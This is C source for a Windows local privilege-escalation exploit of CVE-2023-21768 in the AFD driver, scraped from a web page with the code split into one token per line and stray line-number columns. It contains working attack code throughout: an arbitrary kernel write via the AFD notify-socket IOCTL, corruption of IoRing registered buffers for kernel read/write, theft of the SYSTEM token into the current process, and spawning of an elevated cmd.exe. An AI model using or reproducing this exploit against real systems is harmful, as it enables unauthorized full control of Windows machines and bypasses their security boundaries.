WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
(PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
(PVOID)pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
(ULONG64)pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
(PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
(PVOID)pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
(ULONG64)pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
DWORD(WINAPI
*
_NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI
*
_NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID
*
ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI
*
_NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI
*
_NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI
*
_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
namespace CVE_2023_21768
{
HIORING hIoRing
=
NULL;
PIORING_OBJECT pIoRing
=
NULL;
HANDLE hInPipe
=
INVALID_HANDLE_VALUE;
HANDLE hOutPipe
=
INVALID_HANDLE_VALUE;
HANDLE hInPipeClient
=
INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient
=
INVALID_HANDLE_VALUE;
DWORD64 FakeRegBufferAddr
=
0x1000000
;
PVOID pFakeRegBuffers
=
NULL;
unsigned
int
FakeRegBuffersCount
=
1
;
DWORD64 SystemEPROCaddr
=
0
;
DWORD64 MyEPROCaddr
=
0
;
DWORD64 SystemTokenaddr
=
0
;
DWORD64 MyTokenaddr
=
0
;
DWORD64 test
=
0
;
}
using namespace CVE_2023_21768;
/
/
漏洞点任意地址写
0x1
BOOL
ExploitWrite0x1(void
*
pTargetPtr)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent
=
NULL;
HANDLE hSocket
=
NULL;
HANDLE hCompletion
=
INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus
=
0
;
BYTE bExtendedAttributes[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0F
,
0x1E
,
0x00
,
0x41
,
0x66
,
0x64
,
0x4F
,
0x70
,
0x65
,
0x6E
,
0x50
,
0x61
,
0x63
,
0x6B
,
0x65
,
0x74
,
0x58
,
0x58
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x06
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x60
,
0xEF
,
0x3D
,
0x47
,
0xFE
};
AFD_NOTIFYSOCK_DATA Data
=
{
0
};
/
/
create status event
hEvent
=
CreateEvent(NULL,
0
,
0
, NULL);
if
(hEvent
=
=
NULL)
{
/
/
error
return
FALSE;
}
/
/
set
afd endpoint path
memset((void
*
)&ObjectFilePath,
0
, sizeof(ObjectFilePath));
ObjectFilePath.
Buffer
=
(PWSTR)L
"\\Device\\Afd\\Endpoint"
;
ObjectFilePath.Length
=
wcslen(ObjectFilePath.
Buffer
)
*
sizeof(wchar_t);
ObjectFilePath.MaximumLength
=
ObjectFilePath.Length;
/
/
initialise
object
attributes
memset((void
*
)&ObjectAttributes,
0
, sizeof(ObjectAttributes));
ObjectAttributes.Length
=
sizeof(ObjectAttributes);
ObjectAttributes.ObjectName
=
&ObjectFilePath;
ObjectAttributes.Attributes
=
0x40
;
/
/
create socket handle
IoStatusBlock.Status
=
0
;
IoStatusBlock.Information
=
NULL;
dwStatus
=
_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL,
0
, FILE_SHARE_READ | FILE_SHARE_WRITE,
1
,
0
, bExtendedAttributes, sizeof(bExtendedAttributes));
if
(dwStatus !
=
0
)
{
/
/
error
CloseHandle(hEvent);
return
FALSE;
}
_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL,
1
);
_NtSetIoCompletion(hCompletion,
0
, &IoStatusBlock,
0
,
1
);
Data.HandleIoCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.dwTimeout
=
100000000
;
Data.pPwnPtr
=
pTargetPtr;
/
*
__kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
[
in
] HANDLE FileHandle,
[
in
, optional] HANDLE Event,
[
in
, optional] PIO_APC_ROUTINE ApcRoutine,
[
in
, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[
in
] ULONG IoControlCode,
[
in
, optional] PVOID InputBuffer,
[
in
] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[
in
] ULONG OutputBufferLength
);
*
/
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data,
0x30
, NULL,
0
);
if
(INVALID_HANDLE_VALUE !
=
hCompletion)
{
CloseHandle(hCompletion);
}
if
(INVALID_HANDLE_VALUE !
=
hSocket)
{
CloseHandle(hSocket);
}
if
(NULL !
=
hEvent)
{
CloseHandle(hEvent);
}
if
(NULL !
=
Data.pData1)
{
VirtualFree(Data.pData1,
0
, MEM_RELEASE);
}
if
(NULL !
=
Data.pData2)
{
VirtualFree(Data.pData2,
0
, MEM_RELEASE);
}
return
TRUE;
}
int
getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int
ret
=
-
1
;
PSYSTEM_HANDLE_INFORMATION pHandleInfo
=
NULL;
ULONG ulBytes
=
0
;
NTSTATUS ntStatus
=
STATUS_SUCCESS;
while
((ntStatus
=
_NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes))
=
=
STATUS_INFO_LENGTH_MISMATCH)
{
if
(pHandleInfo !
=
NULL)
{
pHandleInfo
=
(PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo,
2
*
ulBytes);
}
else
{
pHandleInfo
=
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
2
*
ulBytes);
}
}
if
(ntStatus !
=
STATUS_SUCCESS)
{
ret
=
ntStatus;
goto done;
}
for
(ULONG i
=
0
; i < pHandleInfo
-
>NumberOfHandles; i
+
+
)
{
if
((pHandleInfo
-
>Handles[i].UniqueProcessId
=
=
ulPid) && (pHandleInfo
-
>Handles[i].HandleValue
=
=
(unsigned short)handle))
{
*
ppObjAddr
=
(ULONG64)pHandleInfo
-
>Handles[i].
Object
;
ret
=
0
;
break
;
}
}
done:
if
(NULL !
=
pHandleInfo)
{
HeapFree(GetProcessHeap,
0
, pHandleInfo);
}
return
ret;
}
int
ioring_init(PIORING_OBJECT
*
ppIoRingAddr)
{
int
ret
=
-
1
;
IORING_CREATE_FLAGS ioRingFlags;
/
/
创建IoRing
ioRingFlags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory
=
IORING_CREATE_ADVISORY_FLAGS_NONE;
ret
=
CreateIoRing(IORING_VERSION_3, ioRingFlags,
0x10000
,
0x20000
, &hIoRing);
if
(
0
!
=
ret)
{
printf(
"CreateIoRing failed"
);
return
FALSE;
}
/
/
获取内核层指向IORING_OBJECT的结构体指针
ret
=
getobjptr((PULONG64)ppIoRingAddr, GetCurrentProcessId(),
*
(PHANDLE)hIoRing);
if
(
0
!
=
ret)
{
return
FALSE;
}
pIoRing
=
*
ppIoRingAddr;
return
TRUE;
}
BOOL
File_init()
{
hInPipe
=
CreateNamedPipeW(L
"\\\\.\\pipe\\ioring_in"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
hOutPipe
=
CreateNamedPipeW(L
"\\\\.\\pipe\\ioring_out"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipe) || (INVALID_HANDLE_VALUE
=
=
hOutPipe))
{
printf(
"CreateNamedPipeW failed"
);
return
FALSE;
}
hInPipeClient
=
CreateFileW(L
"\\\\.\\pipe\\ioring_in"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient
=
CreateFileW(L
"\\\\.\\pipe\\ioring_out"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipeClient) || (INVALID_HANDLE_VALUE
=
=
hOutPipeClient))
{
printf(
"CreateNamedPipeW failed"
);
return
FALSE;
}
return
TRUE;
}
BOOL
FakeRegisterBuffers_init()
{
_HIORING
*
phIoRing
=
NULL;
/
/
设置内核层的_IORING_OBJECT结构体
/
/
IoRing
-
>RegBuffers
=
0x1000000
if
(!ExploitWrite0x1((char
*
)&pIoRing
-
>RegBuffers
+
0x3
))
{
printf(
"IoRing->RegBuffers write failed"
);
return
FALSE;
}
/
/
IoRing
-
>RegBuffersCount
=
0x1s
if
(!ExploitWrite0x1((char
*
)&pIoRing
-
>RegBuffersCount))
{
printf(
"IoRing->RegBuffersCount write failed"
);
return
FALSE;
}
/
/
在
0x1000000
申请对应Count数的空间,这应该是个结构体指针数组,每个指针都指向_IOP_MC_BUFFER_ENTRY结构体
pFakeRegBuffers
=
VirtualAlloc((LPVOID)FakeRegBufferAddr, sizeof(ULONG64)
*
FakeRegBuffersCount, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memset(pFakeRegBuffers,
0
, sizeof(ULONG64)
*
FakeRegBuffersCount);
/
/
设置用户层的_HIORING结构体
phIoRing
=
*
(_HIORING
*
*
)&hIoRing;
phIoRing
-
>RegBufferArray
=
pFakeRegBuffers;
phIoRing
-
>BufferArraySize
=
FakeRegBuffersCount;
return
TRUE;
}
BOOL
TokenAddr_init()
{
HANDLE hProc
=
NULL;
hProc
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, GetCurrentProcessId());
getobjptr(&SystemEPROCaddr,
4
, (HANDLE)
4
);
getobjptr(&MyEPROCaddr, GetCurrentProcessId(), hProc);
SystemTokenaddr
=
SystemEPROCaddr
+
EPROC_TOKEN_OFFSET;
MyTokenaddr
=
MyEPROCaddr
+
EPROC_TOKEN_OFFSET;
printf(
"SystemTokenaddr : %llx\n"
, SystemTokenaddr);
printf(
"MyTokenaddr : %llx\n"
, MyTokenaddr);
return
TRUE;
}
BOOL
Init_CVE_2023_21768()
{
_NtCreateFile
=
(unsigned
long
(__stdcall
*
)(PHANDLE, unsigned
long
, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned
long
, unsigned
long
, unsigned
long
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtCreateFile"
);
_NtDeviceIoControlFile
=
(unsigned
long
(__stdcall
*
)(HANDLE, void
*
, void
*
, void
*
, PIO_STATUS_BLOCK, unsigned
long
, void
*
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtDeviceIoControlFile"
);
_NtCreateIoCompletion
=
(unsigned
long
(__stdcall
*
)(PHANDLE, unsigned
long
, POBJECT_ATTRIBUTES, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtCreateIoCompletion"
);
_NtSetIoCompletion
=
(unsigned
long
(__stdcall
*
)(HANDLE, unsigned
long
, PIO_STATUS_BLOCK, NTSTATUS, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtSetIoCompletion"
);
_NtQuerySystemInformation
=
(unsigned
long
(__stdcall
*
)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQuerySystemInformation"
);
if
(_NtSetIoCompletion
=
=
NULL|| _NtDeviceIoControlFile
=
=
NULL|| _NtCreateFile
=
=
NULL|| _NtCreateIoCompletion
=
=
NULL)
{
printf(
"get function false "
);
return
FALSE;
}
ioring_init(&pIoRing);
File_init();
FakeRegisterBuffers_init();
TokenAddr_init();
}
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
(PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
(PVOID)pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
(ULONG64)pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
(PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
(PVOID)pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
(ULONG64)pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
VOID PrivilegeEscalatio()
{
ULONG64 ullSysToken;
/
/
ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)&test, &ullSysToken, sizeof(ULONG64));
/
/
printf(
"%llx\n"
, &test);
ioring_read((PULONG64)pFakeRegBuffers, SystemTokenaddr, &ullSysToken, sizeof(ULONG64));
printf(
"ullSysToken : %llx\n"
, ullSysToken);
ioring_write((PULONG64)pFakeRegBuffers, MyTokenaddr, &ullSysToken, sizeof(ULONG64));
}
VOID CreateCmd()
{
STARTUPINFO si
=
{ sizeof(si) };
PROCESS_INFORMATION pi
=
{
0
};
si.dwFlags
=
STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_SHOW;
WCHAR wzFilePath[MAX_PATH]
=
{ L
"cmd.exe"
};
BOOL
bReturn
=
CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if
(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID FixData()
{
char null[
0x10
]
=
{
0
};
ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)(&pIoRing
-
>RegBuffersCount), &null,
0x10
);
if
(pFakeRegBuffers !
=
NULL)
{
VirtualFree(pFakeRegBuffers, sizeof(ULONG64)
*
FakeRegBuffersCount, MEM_RELEASE);
}
if
(hIoRing !
=
NULL)
{
CloseHandle(hIoRing);
}
}
int
main()
{
Init_CVE_2023_21768();
PrivilegeEscalatio();
CreateCmd();
FixData();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE HandleIoCompletion;
PVOID pData1;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwLen;
char lol[
0x4
];
}AFD_NOTIFYSOCK_DATA;
typedef struct _NT_IORING_CREATE_FLAGS
{
enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS,
*
PNT_IORING_CREATE_FLAGS;
typedef struct _NT_IORING_INFO
{
enum IORING_VERSION IoRingVersion;
struct _NT_IORING_CREATE_FLAGS Flags;
unsigned
int
SubmissionQueueSize;
unsigned
int
SubmissionQueueRingMask;
unsigned
int
CompletionQueueSize;
unsigned
int
CompletionQueueRingMask;
struct _NT_IORING_SUBMISSION_QUEUE
*
SubmissionQueue;
struct _NT_IORING_COMPLETION_QUEUE
*
CompletionQueue;
} NT_IORING_INFO,
*
PNT_IORING_INFO;
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT
Type
;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
struct _MDL
*
Mdl;
KEVENT MdlRundownEvent;
PULONG64 PfnArray;
BYTE PageNodes[
0x20
];
} IOP_MC_BUFFER_ENTRY,
*
PIOP_MC_BUFFER_ENTRY;
typedef struct _IORING_OBJECT
{
short
Type
;
short Size;
struct _NT_IORING_INFO UserInfo;
void
*
Section;
struct _NT_IORING_SUBMISSION_QUEUE
*
SubmissionQueue;
struct _MDL
*
CompletionQueueMdl;
struct _NT_IORING_COMPLETION_QUEUE
*
CompletionQueue;
unsigned __int64 ViewSize;
long
InSubmit;
unsigned __int64 CompletionLock;
unsigned __int64 SubmitCount;
unsigned __int64 CompletionCount;
unsigned __int64 CompletionWaitUntil;
struct _KEVENT CompletionEvent;
unsigned char SignalCompletionEvent;
struct _KEVENT
*
CompletionUserEvent;
unsigned
int
RegBuffersCount;
struct _IOP_MC_BUFFER_ENTRY
*
*
RegBuffers;
unsigned
int
RegFilesCount;
void
*
*
RegFiles;
} IORING_OBJECT,
*
PIORING_OBJECT;
typedef struct _HIORING
{
HANDLE handle;
NT_IORING_INFO Info;
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID Unknown;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
}_HIORING;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION,
*
POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void
*
Object
;
unsigned
long
GrantedAccess;
long
__PADDING__[
1
];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO,
*
PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
unsigned
long
NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[
1
];
} SYSTEM_HANDLE_INFORMATION,
*
PSYSTEM_HANDLE_INFORMATION;
typedef struct _DISPATCHER_HEADER
{
union
{
volatile
long
Lock;
long
LockNV;
struct
{
unsigned char
Type
;
unsigned char Signalling;
unsigned char Size;
unsigned char Reserved1;
};
struct
{
unsigned char TimerType;
union
{
